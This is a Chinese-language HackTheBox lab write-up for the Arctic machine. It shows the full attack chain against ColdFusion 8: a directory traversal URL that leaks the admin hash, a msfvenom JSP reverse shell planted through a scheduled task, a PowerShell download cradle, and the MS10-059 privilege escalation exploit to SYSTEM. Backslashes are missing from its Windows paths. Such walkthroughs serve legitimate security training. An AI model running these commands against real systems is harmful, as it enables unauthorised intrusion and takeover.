HackTheBox Writeup(上)
之前一段時間,我搭建了這個環境,它是我第一次啟動HackTheBox時做的第一個事情。我最近幫助了一個在這個環境里工作的人,所以我決定整理一下我的筆記,因為它們有點亂,並且重新組織它們來進行適當的寫作。
初始枚舉
首先,讓我們從一個快速的nmap掃描開始。
root@kali:~/htb/arctic# nmap -sV 10.10.10.11
Nmap scan report for 10.10.10.11
Host is up (0.065s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open http JRun Web Server
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
埠8500看起來很有趣。讓我們用瀏覽器看一下。
管理員目錄為我們提供了ColdFusion 8的登錄入口。
漏洞利用
在線快速搜索後,我們發現ColdFusion 8存在目錄遍歷的漏洞。ColdFusion 8還將管理員散列本地存儲在名為password.properties的文件中。因此,我們可以使用以下URL使用目錄遍歷來獲取管理員散列:
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
我們在瀏覽器中獲得了這個輸出。
所以我們有一個散列 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
使用hash-identifier這個工具我們可以看到散列很可能是SHA-1。
Google在線快速搜索一下可以得到破解的密碼 - happyday。一般來說在啟動hashcat破解之前使用搜索引擎可以很容易得到明文密碼。
在登錄頁面的內部,有一個區域允許我們通過調試和記錄類別下的計劃任務來上傳文件。
計劃的任務設置使你可以從Web伺服器下載文件並在本地保存輸出。在Mappings下,我們可以驗證CFIDE的路徑,所以我們知道我們可以在哪裡保存一個shell。
此時我們需要生成一個shell。我們可以上傳一個cfexec.cfm shell(位於Kali的/usr/share/webshells/cfm中)來執行命令,或者我們可以通過上傳JSP shell來獲得完整的shell,因為ColdFusion將提供並運行JSP文件。
要生成一個JSP shell,我們使用msfvenom並設置相應地參數。
root@kali:~/htb/arctic# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
Payload size: 1496 byte
現在我們創建了我們的shell,讓我們使用python SimpleHTTPServer從Kali提供文件下載。
root@kali:~/htb/arctic# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
在ColdFusion管理控制台中,我們為計劃任務配置了三個參數。
·將URL設置為承載JSP Shell的Web伺服器
·選中將輸出保存到文件的複選框
·將文件設置為C:ColdFusion8wwwrootCFIDEshell.jsp
提交後,我們在Actions下按需運行任務,並且我們可以在我們的python http伺服器上看到一個200的響應。
啟動一個netcat監聽器,我們現在可以瀏覽到我們的shell
http://10.10.10.11:8500/CFIDE/shell.jsp
root@kali:~/htb/arctic# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49212
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:ColdFusion8
untimein>whoami & hostname
whoami & hostname
arctic olis
arctic
我們可以在tolis的桌面上抓取user.txt標誌。
特權升級
Tolis似乎不是系統管理員,所以我們需要升級許可權。我一般在Windows上為特權升級做的第一件事是獲取系統信息,以便我們可以識別操作系統並查看是否缺少任何補丁。
從這裡我們確定該機器正在運行Server 2008 R2,並且根據Hotfix(s)下的輸出沒有安裝任何修補程序。內容很多!讓我們看看我們能找到什麼樣的漏洞。從這裡你可以使用Google,使用Exploit-DB,searchsploit,或者對於Windows,我喜歡使用一個名為Windows Exploit Suggester的東西,它使提權變得簡單。我不會詳細介紹如何使用它,請檢查github以查看使用情況以及所有可以使用的信息。
在查看了輸出之後,我發現了一些可以工作的特權升級漏洞。我決定研究MS10-059。
https://www.exploit-db.com/exploits/14610/
Exploit-DB下載只包含源文件並且沒有編譯的exe文件。不知道是出於何種原因,這個Exp還有另外一個名稱——Chimichurri,我在Exploit – DB上使用這個名稱搜索了一下,找到了一個編譯好的exe,在Github的 這裡。請注意,通常你要自己編譯一些東西,但是如果沒有安裝大量的東西,我就無法自己做這件事,所以我決定放棄它。根據源代碼,它看起來像利用我們的IP地址和期望的埠作為參數來向我們發送反向shell。
我們再一次在Kali上設置了一個python http伺服器,並把Exp下載到我們的目標中,一個簡單的powershell腳本就可以實現。
C:ColdFusion8>echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:ColdFusion8>echo $url = "http://10.10.14.10/chimichurri.exe" >>wget.ps1
C:ColdFusion8>echo $file = "exploit.exe" >>wget.ps1
C:ColdFusion8>echo $webclient.DownloadFile($url,$file) >>wget.ps1
C:ColdFusion8>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
我們驗證下載,啟動一個netcat監聽器,並運行漏洞利用。
C:ColdFusion8>exploit.exe 10.10.14.10 443
/Chimichurri/-->This exploit gives you a Local System shell
/Chimichurri/-->Changing registry values...
/Chimichurri/-->Got SYSTEM token...
/Chimichurri/-->Running reverse shell...
/Chimichurri/-->Restoring default registry values...
root@kali:~/htb/arctic# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49267
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:ColdFusion8>whoami & hostname
whoami & hostname
nt authoritysystem
arctic
現在我們可以獲取管理員桌面上的root.txt 里的Flag。
※如何提取Google Chrome中的密碼?
※Spectre 攻擊詳解
TAG:嘶吼RoarTalk |